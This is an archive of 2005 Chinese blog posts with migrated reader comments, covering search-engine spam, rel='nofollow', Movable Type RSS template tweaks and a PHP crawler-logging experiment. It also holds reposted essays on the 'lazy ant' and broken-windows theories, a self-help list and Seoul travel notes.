
不知道为什么，查 “天气”会出现：世界贸易股票之星网站建设 google排名 …

看来Spammer真是无孔不入啊……

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

KusTa · 2005-02-18 09:59

出了有一段了

懒蚂蚁理论

Thu, 03 Feb 2005 19:11:56 +0800

理论物理学家郝柏林与懒蚂蚁理论 CCTV.com-科技频道主持人：您提出了一个懒蚂蚁理论，给我们解释一下懒蚂蚁理论是什么？郝柏林：我可以说说这个事情。因为蚂蚁是一种社会动物。所以有一些研究动物行为学的人，他们有一个观察，就是有一大窝蚂蚁在这儿的时候，大部分蚂蚁去搬东西、干活，有一部分蚂蚁是懒蚂蚁，乱转一气不干事，他们就把这些懒蚂蚁都标记上，标记上以后，把这些懒蚂蚁全搜到一块，让懒蚂蚁一块过，结果发现这些懒蚂蚁中间的多数就劳动了，就去搬东西了，但是还剩下一部分不干活，这样的实验可以重复，所以这种事情从各种角度研究了很长时间，人们有了一个结论，说这些懒蚂蚁不是懒蚂蚁，是因为蚂蚁社会一旦发现食物源需要搬回来的时候，它不能把它的工蚁全投上去，如果全上去一旦搬完了，大家都得窝工，所以总得要有一部分蚂蚁去探索，到处乱转，有没有新的食物源，这堆搬完了以后，大家就可以做底下的工作了，所以才悟出来，这些懒蚂蚁是蚂蚁社会里头的探索者，而我们这些做基础研究的有的时候就被别人当做懒蚂蚁。

懒蚂蚁理论有2个方面的启发： 1 真的有很多懒蚂蚁：当资源足够丰富的时候，总有一些人不干活，将这些不干活的人凑到一起劳动，就能迫使那些不干活的人开始劳动了……将各个职位上的闲人凑在一起，的确是可以提高效率的； 2 懒蚂蚁不都是真的很懒：一个组织中总要有些人从事一些前瞻性的工作，否则眼前的工作做完后，下一个饭碗到哪里去找呢？

毛毛虫与懒蚂蚁 (魏东建) … 　　于是在与朋友的交谈中我记住了勤奋的毛毛虫和懒蚂蚁。　　原来，毛毛虫的特点，就是不辞辛苦，只要有一个人工作，其余的就不能闲着，紧随其后，这样，毛毛虫多了，就会形成一个圆圈，一条一条尾随着，转个不停，就是，附近有食物，他们也不会停下来，直到累死或饿死为止。所以我便记住了勤奋的毛毛虫。　　原来在以勤劳著称的蚂蚁家族中，也有懒家伙，而且每个发达的蚂蚁家族中都有这么一两只。在大家都勤劳的搬运食物、修缮蚁窝的时候，他们总是游来荡去、东张西望，一幅游手好闲的样子，可是，他们在家族中的地位却很高，食物也是他们优先。为什么呢？原来每当没了食物来源的时候，那些勤劳的蚂蚁总是他们——“懒蚂蚁”挺身而出，带领整个家族向它早已侦察好的新食物源进发。　　告诉我这些以后，这位做研究的朋友用他那长于理性的思维，却对我说到毛毛虫真是愚不可及、不可救药，并羡慕起蚂蚁家族中的懒蚂蚁来，最后还感慨做人当做懒蚂蚁。我说，“毛毛虫”的勤劳，而且重复做枯燥的工作还那么有耐心，这都是它们优点啊！而且人及生物，最难改变的是自己的本性，所以自己是“毛毛虫”还是“懒蚂蚁”，自己无法决定，也无法较大的改变。重要的是认识你自己到底是“毛毛虫”还是“懒蚂蚁”后。再利用自己的长处选择自己的人生路。作为领导更要认识自己的下属是属于“毛毛虫”还是属于“懒蚂蚁”，并根据他们的特点分配他们的工作，使他们尽量发挥好自己的长处，规避开他们的短处。从“垃圾是放错地方的珍宝”的角度看“人人是人才”。问题的关键，在“识人”上下工夫。也就是说，“用合适的人做适合的事”的关键，在于“合适”与“适合”这两个关键词，从“人”的“专长”与“事”的“要求”二者的契合入手，以事选人，用人之长，治事之本。识人处事，做到人、事相合，人因做事身心有所得，事因人兴，有利其发展。

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

eapass · 2005-02-04 20:39

引用部分的斜体字在ie里面看起来太累了，建议对引用部分的文字尝试一种更便于观看的形式。

1000copy · 2006-08-15 16:32

很有启发. 将各个职位上的闲人凑在一起，的确是可以提高效率的

Google的“破窗”

Wed, 02 Feb 2005 13:41:19 +0800

其实可以用破窗效应来解释：被侵蚀的Google

破窗理论：如果有人打坏了一栋建筑上的一块玻璃，又没有及时修复，别人就可能受到某些暗示性的纵容，去打碎更多的玻璃。类似的：Spam breeds more spam: Spam会传播更多的Spam

是谁在暗示和诱导犯罪

[美]彼得等美国政治学家威尔逊和犯罪学家凯林经过观察提出了"破窗理论"。如果有人打坏了一栋建筑上的一块玻璃，又没有及时修复，别人就可能受到某些暗示性的纵容，去打碎更多的玻璃。久而久之，这些窗户就给人造成一种无序的感觉，在这种麻木不仁的氛围中，犯罪就会滋生、蔓延。

“破窗理论"更多的是从犯罪的心理去思考问题，但不管把"破窗理论"用在什么领域，角度不同，道理却相似：环境具有强烈的暗示性和诱导性，“勿以恶小而为之”：必须及时修好"第一扇被打碎玻璃的窗户”。

所谓：防微杜渐。

2005年04月03日看凤凰卫视的《锵锵三人行》：谈到张国容的自杀时，提到了“环境冲击”这个心理学概念。而实事上也的确有数据表明，在有影视明星自杀事件发生后的几周之内整个城市的自杀率都会有一定的突增，大量传媒信息给大众的一些暗示作用也是不可小视的：“明星都可以这么做，我为什么不可以呢？”，而《引爆流行》中提到的青少年吸烟（吸毒）问题也是可以用类似的原理来解释。

2005年04月04日后记：从3月底开始：chedong.com和整个51.net都从Google上消失了……我使用site:chedong.com命令结果如下：看来是从顶级域名开始的过滤。

所有网站：找不到和您的查询 “site:chedong.com” 相符的网页。

建议：

请检查输入字词有无错误。

请换用另外的查询字词。

请改用较常见的字词。 =========================

我过滤了一下4月份以来Googlebot的访问日志上： grep Googlebot chedong_access_log.200504* |awk ‘{print $1"\t"$4$5"\t"$7}’ chedong_access_log.20050401:66.249.66.20 [01/Apr/2005:01:25:20+0800] /blog/archives/000661.html chedong_access_log.20050401:66.249.66.20 [01/Apr/2005:01:25:37+0800] / chedong_access_log.20050401:66.249.66.20 [01/Apr/2005:04:26:17+0800] /blog/archives/000661.html chedong_access_log.20050401:66.249.66.20 [01/Apr/2005:04:26:31+0800] / chedong_access_log.20050401:66.249.66.20 [01/Apr/2005:07:25:33+0800] /blog/archives/000661.html chedong_access_log.20050401:66.249.66.20 [01/Apr/2005:07:26:44+0800] / chedong_access_log.20050401:66.249.66.20 [01/Apr/2005:08:32:22+0800] /blog/index.xml chedong_access_log.20050401:66.249.66.20 [01/Apr/2005:08:37:22+0800] /blog/index.xml chedong_access_log.20050401:66.249.66.20 [01/Apr/2005:10:25:23+0800] /blog/archives/000661.html chedong_access_log.20050401:66.249.66.20 [01/Apr/2005:10:25:44+0800] / chedong_access_log.20050401:66.249.66.20 [01/Apr/2005:13:25:16+0800] /blog/archives/000661.html chedong_access_log.20050401:66.249.66.20 [01/Apr/2005:13:26:00+0800] / chedong_access_log.20050401:66.249.66.20 [01/Apr/2005:16:25:03+0800] /blog/archives/000661.html chedong_access_log.20050401:66.249.66.20 [01/Apr/2005:16:25:18+0800] / chedong_access_log.20050401:66.249.66.20 [01/Apr/2005:19:25:00+0800] /blog/archives/000661.html chedong_access_log.20050401:66.249.66.20 [01/Apr/2005:19:25:36+0800] / chedong_access_log.20050401:66.249.66.20 [01/Apr/2005:22:25:57+0800] /blog/archives/000661.html

來去摘櫻桃文 / 張國立

Wed, 02 Feb 2005 10:57:23 +0800

我總是喜歡用一種方式來計算生命，並為自己的吃喝玩樂尋找藉口：

你在二十歲以前的人生是有記憶的嗎？

有，你記得你老爸揍你，因為你在做功課時偷偷看漫畫。有，你記得老媽在你沒考上大學時，擠著明明是苦笑的微笑說，明年再來嘛。有，你去喝了兩杯啤酒，被警察逮進派出所，你老爸老媽慌張的趕來為你求情。

對，我的意思是，二十歲以前你幾乎是在不知不覺，或為了老爸老媽而活的。當然，也許你是天才，從三歲時就為自己做好人生規畫，天才不在我的敘述範圍之列。

那麼六十歲以後呢？

你有了積蓄、有了子女、也開始逐漸有了時間，但你卻沒有太多的體力和理想，

因為理想的基礎的是夢想，你已經沒有做夢的力氣了！

好，你的人生扣除二十歲之前和六十歲之後，你還有四十年，

這是黃金歲月，可是，老天，你在黃金磚塊裡做了些什麼？

你很忙，沒空研究這種數學問題，我的數學很爛，但還是好心的幫你算算：

你睡覺睡掉了三分之一，折合成明確的數字是13.333年。

根據統計，平均每個台灣人每天花在電視或電腦網路（無關工作）是三小時，

等於每天的八分之一，也就是五年。

上班則以每周五天每天八小時（真有人只工作八小時嗎），這又去掉了十年。

換句話說，扣除例行的活動，

你的黃金40年已經不知不覺被幹掉了28.333年。

我還沒算你罵兒子、叫老婆、洗屁股、和鄰居為了停車位吵架的時間。

老兄，我講的是良心話，你的一生真正落到你手裡的，大約不到五年，

而你休假的時候居然還跑去租ＤＶＤ，躲在家裡的沙發上過日子，

喂，這真是當初你想要的人生？

好吧，再用另一種方式來計算人生。

早上起床後，無論擠公車、坐捷運、開汽車，你的路線是不是都一樣？下班時只不過重覆一番罷了，至於中午休息，你是不是都吃便當，或者公司附近的幾家餐廳，

你會花個半小時去找一家聽說很好卻相當遠的小飯館嗎？

我們都是螞蟻，每天在同樣的幾條線上行動、和同樣的幾張面孔聊天、為同樣的問題爭吵。

對，我也完全同意人生便是在平凡裡尋找樂趣，問題是，你有樂趣嗎？

你又要罵我好高鶩遠，不這樣又要怎樣？

二十五歲起有汽車貸款，

三十歲有房屋貸款，

三十五歲起煩惱子女未來的教育經費，

四十歲擔心老爸老媽退休後的生活，

四十五歲則恍然發現要每年去做健康檢查。

能夠在六十歲前還清房屋貸款、把兒女送進大學、

除了身高外其他的數字，像是血壓、膽固醇，都慢慢的升高，

然後你坐在電視機前看同樣的廣告，忽然發現你好像該做些什麼不一樣的事，

卻又嘆口氣，這些事該在四十歲時候做的啊！

這樣你全明白了吧，業績是老闆的、存款是兒女的、身體是醫生的、夢想是日記上的，剩下來的雖然不多，那才是你自己的，所以做人得快樂。

我最喜歡的一個故事是日本禪宗的「老虎」，也許你聽過，也許沒，

反正你已經習慣看同樣的廣告，不如將就的再聽一遍這個故事吧：

有個人走在山裡，突然樹林中衝出來一頭老虎，看起來它很飢餓，對你直追，你拚命的跑，跑到一處懸崖，

你想，完啦！後有老虎，前有斷崖，唯一能活的方法就是往下跳，說不定還能撿回命。

當你正要往下跳，卻看到崖下也有一頭餓虎，正抬起頭朝你狂吼。

好了，你跳下去不死也會變成老虎的生魚片。

這時你看到有根樹藤從你腳邊往下垂。好，你可以攀著藤掛在半空中，這樣下面的老虎和上面的老虎都咬不到你。你興奮地攀著樹藤下去，當你正慶幸可以垂掛在兩隻老虎中間時，

老天，你看到兩隻螞蟻在咬樹藤，而且顯然很快樹藤就要被咬斷了。一切的努力都白費，

你萬念俱灰時，忽然看見山壁上有顆櫻桃，紅紅亮亮的，你不禁伸手去摘下那顆櫻桃放進嘴裡。

嗯，好甜的櫻桃呀！

故事便結束在好甜的櫻桃。

究竟這個故事有什麼含意呢？

禪宗的東西都有很多含意，每個人有不同的解讀方式。

我的解讀很簡單，要保握住現在，就像那顆櫻桃；

你不可能在樹藤上晃來晃去地晃到六十歲才去摘，你得馬上就摘了送進嘴裡。

同樣的，別老安慰自己說，現在拚命努力，等到退休時就可以享受。

相信我，任何享受都應該隨時進行，千萬別等到退休，那時你可能早忘了怎麼享受了。

工作時要給自己找樂趣，工作之後更要找樂趣，這樣你才可以無時無刻不在享受你的人生。

當然，你會罵我只會說不會做。

在此我先接受你送來的三字經，真的，我也是在四十歲的時候才體會出這個道理，

而且即使到現在仍只能努力去做若干的實踐罷了，不過至少我已經開始在做，你呢？

別老是抱怨個沒完，這本書最大的好處就是告訴你，再怎麼抱怨也無濟於事，

找找看你的釣竿、你的護照、你當學生時的吉他，然後，我們一起去吃櫻桃。

收錄於「別做老闆的奴隸」櫻桃／台北市立中醫院醫師陳旺全

2005改变你生活的50种方法

Mon, 31 Jan 2005 21:05:29 +0800

2005年到来了，在新的一年里，如果有一种全新的生活方式你可以去尝试的话，你会不会说“我愿意”？如果你想在新的一年里获得健康、财富、幸福和快乐的话，你知道怎么去做吗？

　　是的，改变以往的生活方式和习惯，重新定义自己的生活，向健康、财富和幸福发起更高的追求，这是我们每一个人在新的一年将面临的主要任务。那么，究竟怎样才能改变过去的自我，开始一种寻求健康、财富和幸福的新生活呢？

　　最新一期《美国新闻与世界报道》的封面文章《改变你生活的50种方式》，给了我们一个详细的答案，或者说是给了我们一个切实可行的计划和缜密的方案。

简化复杂的问题　　再伟大的旅程都要从每一小步开始，在你开始迈步之前，你要知道你将要走向哪里。

　　如果你非常忙碌而没有时间去选择的话，那么你很有可能走上错误的道路而自己浑然不知。

** 1、学会轻重缓急。**

　　新的一年似乎有好多事情都在等着你去做。但是如果你胡子眉毛一起抓的话，到头来你会发现这一年你又乱糟糟地度过了。所以，在年初你应该有一个计划，明白你在新的一年里将从哪里开始。

　　专家建议，每天起床后，把一天要做的事情按照轻重缓急排列出来，“给它们标上A、B、C……”斯蒂芬说：“然后你把B和C剔除掉，全力去完成A，你将会在这一天感到非常高效、轻松，这就是你成功的一天。”

　　2、体会静坐的乐趣。

　　静坐，不仅能够使人的心灵得到净化，而且能够使人拥有一个健康的身体。最近的一些研究成果显示，有规律的静坐不但能够缓解人的精神压力，而且还能有效治疗心脏病、高血压、焦虑、沮丧、失眠、不孕等疾病。更为重要的是，静坐能够增强人的免疫力。

　　3、清理你的壁橱。

　　如果你的壁橱里还有两年之内没有穿过的衣服，那么请你扔掉它或者把它们捐献出去。清理出你真正的“财富”，当你需要穿某件衣服的时候你就能马上找到它们。

　　4、把不用的东西捐出去。

　　如果你有一些已经用不上的东西，你可以将这些东西捐献给慈善机构。

　　5、整理你的相片。

　　把你以前拍的照片从鞋盒子或者其他角落找出来，把它们装进漂亮的影集或者相框里，这样它们将能够保持更长的时间，你就可以在未来尽情地享受它们。

　　6、物品要分类放置。

　　要随着季节的变化放置你的休闲用品，例如，要把雪橇和风雪大衣放置在一块，把沙滩伞和潜水服放在一起。

　　7、把东西打包保存。

　　鞋盒并不仅仅能够用来装鞋，你可以将一些零碎的日用品放在鞋盒里，并在盒子上标上记号，这样就能够方便你下次使用。

　　8、去俾斯麦体验新生活。

　　美国北达科他州的首府俾斯麦，这是一个只有5.7万人口的小地方，但这里犯罪率低、学校教育质量高、经济发展稳定、失业率低。在这个城镇，你可以花费很少的钱就能够租到漂亮的房子，你可以在这里享受晴朗的蓝天、便利的娱乐休闲设施和可口的美食。最为重要的是，这里的生活压力非常小。换句话说，这里简直就是一个适合生活的天堂。如果你出于各种原因而不能移居到这里的话，那你就找个时间来这里度假，体验一下这里的幸福生活。

　　9、从家务中解放出来。

　　美国妇女每年要花费358个小时做家务，学会享受不太干净的生活，偶尔偷懒一次不干家务，你将会有更多的休闲时间。

　　10、丢掉现在的工作。

　　约翰·多利是一名年仅28岁的银行家，如果按大多数人的衡量标准，他是一个成功人士。但谁又能知道他的痛苦呢？劳累过度已经使他的身体各个器官严重“老化”。而当辞去工作之后，他每天就在中央公园溜达溜达，看看诸如“诚实：我一生中最幸福的时刻”的书籍。

　　多利说：“丢掉工作意味着解放。你将会变得心胸开阔，你将有时间聆听你内心的声音，你将能够听到许多你以前不可能听到的声音。”

保持清醒　　11、锻炼你的大脑。

　　科学家此前一直认为，人的脑袋就像是一棵卷心菜。一个20岁左右的头脑，将不会在未来的时间里继续“成长”。从20岁开始，人的头脑就开始不可避免地衰退：决断力下降、记忆力减退等等，在80岁左右的时候，人的脑袋就和泡菜差不多了。

　　在上个世纪60年代以前，科学家还坚持认为，成年人的大脑不会再有新的神经原长出来。但是在1988年之后，科学家已经掌握了具体的证据证明成年人的大脑经过锻炼之后还能生长出新的神经元。

　　成年人脑袋的这种“继续成长”源自“娱乐”。比如玩《纽约时报》的“纵横拼字谜”、打高尔夫、打台球等等。

　　所以，加强“使用你的大脑”，如果你不使用它的话，它就会僵化、甚至“生锈”。

　　12、种一棵树。

　　每年种植一棵树木不但能够美化你的居住环境，而且还能给你带来意想不到的好处。园艺专家理查德·马丁称：“你的身体会对你周围的植物起反应。如果你专注于你周围的绿色植被的话，你将会感觉到压力减轻了，心情愉快了，你的免疫力也增强了。”

　　13、和孩子一起做游戏。

　　科学家认为，花时间和孩子一起做游戏能够提高成年人的记忆力和认知能力。比如时下流行的游戏“鸭鸭鹅”等，和孩子一起玩耍还能够使我们更长寿。

　　14、听听流行音乐。

　　我们在年轻的时候都喜欢流行音乐，但随着年龄的增长，我们似乎被这个世界抛弃了。不懂得如今流行什么音乐，和年轻人没有共同的话题，这些都是困扰那些有了孩子的父母的难题。

　　如果你不想自己老得更快，何不去尝试听听当今的流行音乐，你也在聆听中变得年轻了。

　　15、多读书。

　　不要为提高你脑子内部的活动能力而去读书，也不要为了和别人比起来你更有知识而去读书，不要仅仅为了更多地了解这个世界去读书。这是因为，读书是一个人一生中最惬意的享受，这样惬意的享受使得我们的生活更有意义。

　　16、多陪陪你的爱人。

　　美国一位经济学家在研究之后称，良好的家庭和美满的夫妻生活比一个年薪5万美元的工作更令人感到幸福。

　　所以，有专家建议，在辛苦的工作之余多花时间陪陪你的爱人，家庭给你精神上的愉悦和幸福比你任何重要的工作都要重要。

未雨绸缪　　　17、学会储蓄。

　　和减肥相比，理财是一个看起来容易其实又不太容易做的事情。

　　那么就从储蓄开始吧。如果你每周能够储蓄20美元、每年以5％的比率提高的话，你在30年后将有近7.3万美元的储蓄。

　　18、优化投资比例。

　　你无法左右股市交易，但你可以左右自己的投资分配比例。专家建议，在投资理财中要合理利用各种渠道。如果你不知道到底应该在股市投资多少、在地产投资多少、在保险投资多少的话，你可以向那些专业的投资公司请教。

　　19、重新评估投资领域。

　　在每一年的年末，你都需要对你上一年的投资领域进行重新评估。看看哪些热门领域还可以继续投资，而哪些领域要适可而止。更为重要的是，你要从中评估出那些潜在的、收益丰厚的投资领域，以便在新的一年在这个领域有所作为。

　　20、暂时冻结你的信用卡。

　　把你的信用卡放在一个塑料袋里，然后把这个塑料袋放在水里冷冻上。当你有了“挥霍”的欲望的时候，你起码要等到冰块融化。

　　21、存一笔应急的钱。

　　人有生老病死，月有阴晴圆缺。你要有一个财政危机的预防措施，以便出现财政赤字时不会措手不及。

　　22、控制你的信用风险。

　　在使用信用卡的时候，要量力而行。

　　23、制定应对紧急状况方案。

　　洪水、飓风、龙卷风、地震等不可抗性灾难不知道什么时候会降临，我们的财产甚至生命都将受到严重的威胁，与其坐以待毙不如提早采取措施预防。一旦灾难降临，你要能够做到在此后的72小时之内存活下来。

　　美国红十字会建议，在家准备一个应急包，里面装上不容易腐烂变质的食品、合适的衣服、收音机、手电筒、常用药品、家庭成员信息、保险账户和银行户头等等。

　　24、电脑数据分类、备份。

　　在很长一段时间之后，你往往会忘记到底把女儿的照片存在哪里了。如果你把存储的数据信息进行分类备份，按照信息的性质或者其他标准把数据分门别类地存储，在你需要的时候，你就可以轻而易举地找到它们。

　　25、把书籍、档案、材料归类。

　　你可能有过这样的尴尬：当你需要重新确认你的信用卡对账单的时候，你却实在想不起来你到底把它放在哪里了。我们日常生活中的许多收据、发票、账单以及各种书籍材料，往往都被我们随心所欲地放置在某个地方，而当我们需要它们的时候，却时常不知道应该到哪里去寻找。所以，把这些东西归类放置是一个不错的方法。

身体是本钱　　26、多走楼梯少坐电梯。

首尔之行

Tue, 25 Jan 2005 21:28:22 +0800

中文： T2K：韩国旅游官方指南

英文mini攻略：GoNOMAD–Mini Guide to Seoul。

很多文章都提到了Insadong：仁寺洞位于钟路旁边的仁寺洞被称作“传统文化的街道”，“活的街道民俗博物馆”。一到许多有趣的街边演出的周日，会有许许多多的人们来到这里，从年轻人到老年人，甚至是外国观光客等等。仁寺洞另一个值得一看的就是画家文人艺术。韩国大半的画廊都密集在这里，随处可见展示会馆，而且大部分可以免费自由参观。在仁寺洞，可以看到别处少见的生活韩服和传统茶馆，大部分位于仁寺洞主街的左右两旁的小巷内。在传统茶馆里，听着，品尝韩国的传统绿茶、五味子茶、等传统饮品。由于近年掀起的传统茶文化热，许多专营差距的瓷器店、古董店也相继兴起。而美食街上主要是些传统的民俗店。在民俗酒幕里，您可以就着韩国传统的绿豆煎饼尽情品尝香气扑鼻的米酒。

2005-02-01 终于去了仁寺洞（Lei Sei Dong）：不只是假古玩哟，在几个小画廊看了看，很多现代的作品设计都很有创意。在对传统的继承和对新技术创新上都值得我们学习。

总体上感觉韩国人除了压力大了一点，其实生活的还是很健康的：饭菜用油炸的很少，花样也不多，大部分地方都是禁止吸烟的，能买到的烟都是很淡的香烟而且阿焦油含量比中国的低一个数量级，酒也是非常淡，最高的一般20度左右，赌场（Walker Hill）基本上是“华客”山庄，韩国人是禁止入内的。

路路2002韓國旅行日記 (08/9/2002) Day 5 (08/09/2002) 仁寺洞 - 明洞

這天是這次旅程的最後一天, 雖然時間有限, 但我們還是到了兩個景點: 仁寺洞及明洞。

漢城是一處集合了新和舊的地方, 在新式的大廈旁會找到舊的建築物

第一站是仁寺洞 (Insadong), 這是一個很值得遊覽的地方, 除了因為這裡是 “Friends” 中, 智勳退伍後首次與智子重遇的拍攝場景外, 這裡本身也是一處富有傳統韓國文化氣息的地方。

仁寺洞不單有充滿傳統文化氣息的店舖, 還有辣椒?!!!!

走進仁寺洞的大街, 你會發現這裡跟其他購物區有很大分別, 因為這裡售賣的不再是衣服鞋襪或食物, 而是售賣傳統韓國手工藝品, 例如面譜, 紙扇, 手帕等。除了手工藝品外, 還有很多店子售賣不同的紙品, 例如信紙, 簿, 還有毛筆及顏料。前幾天我們只顧著觀光, 一直也忘記了買手信, 在仁寺洞我們終於買了不少漂亮的工藝品作手信。

售賣很多紙品的店舖, 我們在這兒買了很多手信 Edited by: Club Administrator at: 7/22/03 9:14 am lolohk Jr Member Posts: 50 (12/15/02 2:28 am) Reply 路路2002韓國旅行日記 (08/9/2002) - 仁寺洞若大家細心看, 會發現仁寺洞還有很多畫廊, 展出的都是一些新進藝術家的作品, 我們參觀那天, 其中一個畫廊正展出以玫瑰花作題材的油畫。間中逛逛這些地方, 也是蠻有意思的。

+1 rel="nofollow" = 互联网为超链戴上的安全套?! ;-)

Fri, 21 Jan 2005 01:20:20 +0800

2005-01-20 昨天打开自己RSS订阅的时候：发现订阅的搜索引擎服务商blog和MT的anti spam blog全部指向了一个主题：nofollow Google联合Yahoo! MSN和主要Blog服务提供商：推出一个新的搜索引擎收录服务标准，超链的rel=“nofollow"属性。 2005-01-19 13:37 Preventing comment spam - Google Blog - Live 2005-01-19 13:19 The Most Tumultuous Show On Earth! - Yahoo! Search blog 2005-01-19 09:08 Massive weblog anti-spam initiative: rel=“nofollow” - MT-Blacklist/Comment Spam Clearinghouse 2005-01-19 07:45 A Defense Against Comment Spam - Yahoo! Search blog

nofollow定义和robots.txt中的nofollow类似：原来的：foo如果加入nofollow属性foo 搜索引擎的蜘蛛程序将不再跟踪这个URL继续爬取，而对应的链接，在排名计算是也不会计算入目标网站的权重。

这个协议的意义在于：如果以前网站内容的发布者只能通过robots.txt进行页面级的内容收录控制的话，链接的nofollow属性更进一步，达到精确到页面内超链级别的索引收录控制：在一个页面中，哪些链接是页面发布者自主控制的，可以被搜索引擎收录的，哪些链接是发布者无法预期和控制，需要告诉搜索引擎spider不要进行收录。

2005-01-22 从某种程度上说：nofollow属性给超链接戴上了安全套，阻止不安全的spam病毒的传播。

2005-01-23 整个互联网真的需要/可能为SPAM带上安全套吗？反对nofollow的12个理由：Twelve Reasons against nofollow

nofollow does not prevent comment spam. nofollow并无法防止spam

nofollow is semantically incorrect. nofollow语意/语法上不正确（应该是 not follow / not to follow吧？）

nofollow harms the connections between web sites. nofollow损害了互联网之间的连接

nofollow is not useful for humans, just for search engines using PageRank or similar a technique. 对于用户来说是无意义的，指对搜索引擎的PageRank和类似技术有用；

nofollow could be used to shut web sites out. ~~nofollow应该被用于网站关闭后的声明~~nofollow 将可能被滥用,来封锁某些网站；

nofollow discriminates legitimate users as spammers. nofollow歧视合法用户：将他们等同于spammer（难道缺省所有的网站留言者都是spammer?!）

nofollow heists commentators’ earned attention. nofollow标准的出台反而使得spammer从评论员和解说者中得到了更多的眼球。

nofollow will not stop comment spam. nofollow无法阻止评论spam

nofollow could be used to further discriminate weblogs. nofollow可被进一步引起对weblogs的歧视；

nofollow prevents the Web from being a web. nofollow = 网而不网

nofollow eliminates the dissemination of free speech. nofollow削弱了自由言论的传播；

nofollow was developed in privacy with only search engines companies taking part in the discussion. nofollow只是由参与讨论的有限的几个搜索引擎公司秘密提出。

看一下这个标准出台的原因：目前互联网搜索引擎所依赖的超链分析机制使得整个互联网成为了spammer的反相链接制造工厂（Link Farm），越来越多的BLOGGER网站和WIKI网站受到comments spam和Wiki Spam的干扰，比如对对最流行的MovableType blog发布系统（其实主要是因为使用MT系统的BLOG在搜索引擎中拥有很高的PageRank）进行垃圾轰炸和反SPAM的故事简直是罄竹难书…… MT最近自身面向功能的改进很少，他们不得不将更多的精力用在了ANTI COMMENTS SPAM上。而本来开放的wiki协作系统也面临着无聊的恐吓。

可读性和更新性: RSS模板的atom化改造

Thu, 20 Jan 2005 23:26:55 +0800

从中我们可以看到：Google的atom输出在可读性和更新排序这2个方面比MT的RSS有一定优势。

在可读性方面：首先是Google的Blogger服务中：缺省的atom.xml缺省都包含了一个XSLT链接，这样用户使用浏览器点击打开链接看XML的时候，也不至于对看到的XML看的太突兀，样例http://grassland.cnblog.org/blog/index.xml 其次：是atom直接显示带有HTML格式内容，而不是摘要，这样的输出更便于用户阅读。

在更新性方面：我已经发现了，如果你的RSS文章时间总是比较新的化，那么在按照时间排序的输出结果中就有可能比其他人的文章显示的更靠前。在我的Lilina订阅中：Google的blog的文章已经有2次忽然就从后面跑到前面了，原因就是作者对原文进行了一次小改动后，atom输出中文章发布时间也被更新。相当于同样一篇文章，多了1次曝光的机会。

最近对MT的缺省RSS模板进行了改造： 1 直接显示MTEntrBody，代替MTEntryExcerpt 为了提高RSS内容的可读性，MT新版本中也已经开始这么做了； 2 按文章最后修改时间进行排序；

RSS 2.0 index.xml模板的具体修改如下： 12c12 <

15c15 < <$MTEntryBody encode_xml=“1”$>

<$MTEntryExcerpt encode_xml=“1”$> 19c19 < <$MTEntryModifiedDate format_name=“rfc822”$>

<$MTEntryDate format_name=“rfc822”$>

缺省按照最后修改时间排序可以鼓励作者经常修改/补充自己的旧文章，为了方便把每篇Blog都当成一个Wiki条目来写，每个篇文章需要一个增加一个编辑入口，显示发表和最后修改时间：修改 Individual Entry Archive

Posted by <$MTEntryAuthor$> at <$MTEntryDate$> mt.cgi?__mode=view&_type=entry&id=<$MTEntryID$>&blog_id=<$MTBlogID$>">Edit
Last Modified at <$MTEntryModifiedDate$>

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

eapass · 2005-01-27 23:16

我一直都是使用MTEntrBody代替的MTEntryExcerpt，从一开始就考虑到方便rss阅读工具的朋友。　　最近通过使用lilina，越来越发现标准的重要性，很多不标准的rss导致我的lilina有点乱。

让搜索引擎Spider告诉你：什么时间，从哪里，用什么身份抓取了你的网站

Mon, 17 Jan 2005 11:53:19 +0800

2005-01-17在我的网站上做了一个试验：在部分动态网页中嵌入了以下PHP代码： echo date(“Y-m-d H:i”) . " Crawled by " . $_SERVER[“HTTP_USER_AGENT”] . " @". $_SERVER[“REMOTE_ADDR” ];

这样，抓取网页的Spider Agent信息和来源地址信息就做为网页内容被搜索引擎索引了。通过搜索结果可以告诉我Spider什么时候，从哪里（IP地址），用什么抓取访问了我的网站。

然后再通过站内搜索命令： site:chedong.com +特征词就能直接定位到这个spider信息段落，在我的网页上是crawled。今天早上我在Google上查： site:chedong.com crawled 已经能看到效果： 车东 Che, Dong … Alexa流量统计： Hosted by Powweb.com 2005-01-15 22:00 Crawled by Googlebot/2.1 (+http://www.google.com/bot.html) @66.249.71.47. chedong.com/ 说明： Googlebot/2.1于2005-01-15 22:00从66.249.71.47这台服务器进行了抓取。

2005-01-20 YST结果出现 MIME::Base64 - phpMan [英译汉] MIME::Base64 - phpMan Command: man perldoc info search(apropos) … 2005-01-17 23:02 Crawled by Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com … www.chedong.com/phpMan.php/man/MIME::Base64 - 2k - 2005年1月18日

当wiki遇上chongqing, 受到恐吓的CooCooWakka

Sat, 15 Jan 2005 16:17:54 +0800

coocoowakka居然被wiki spammer恐吓。

建议在模板中设置：
这样SPAMMER就无法从自身网站中得到任何反相链接的加分了。
最近CatHome01发起了一个 spamweblog.com 项目：专门用于搜索各种SPAM网站的作弊特征并和大家交流anti spam的方法和策略。

Google的Anti Spam报告地址。

包含SPAM结果的关键词(请从 [Google](http://www.google.com) 搜索结果页关键词输入框复制这个关键词):
出现spam的搜索结果页面(从 Google搜索结果页面复制链接地址)：

有spam的网页或站点的URL：

原因：不可见的文本或链接 Hidden text or links 重复和误导关键词 Misleading or repeated words 网页内容并不符合Google的描述 Page does not match Google's description 隐藏帧 Cloaked page 欺骗性的跳转 Deceptive redirects 专门针对搜索引擎制作的桥页 Doorway pages 重复的站点或者页面 Duplicate site or pages 其他（请说明） Other (specify)

附加内容(请使用英文)

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

fei · 2005-01-15 21:36

加上验证码不是很好么，至少可以阻止那些发送spammer程序。

Hermes · 2005-10-22 15:39

验证码已经可以被OCR破解掉大半…所以作用有限完全自由的环境中出现Spammer是不可避免的, 现在大家正在努力建设的行为规范和维持这种规范的架构. 这同样是我们构建民主社会的重要课题…要自由但不要民粹.

搜索门户正在逐步损害网络的原创动力

Tue, 11 Jan 2005 23:18:38 +0800

我很欣赏Kreny的态度：“请注明本文出处！” : Kreny’s Blog。

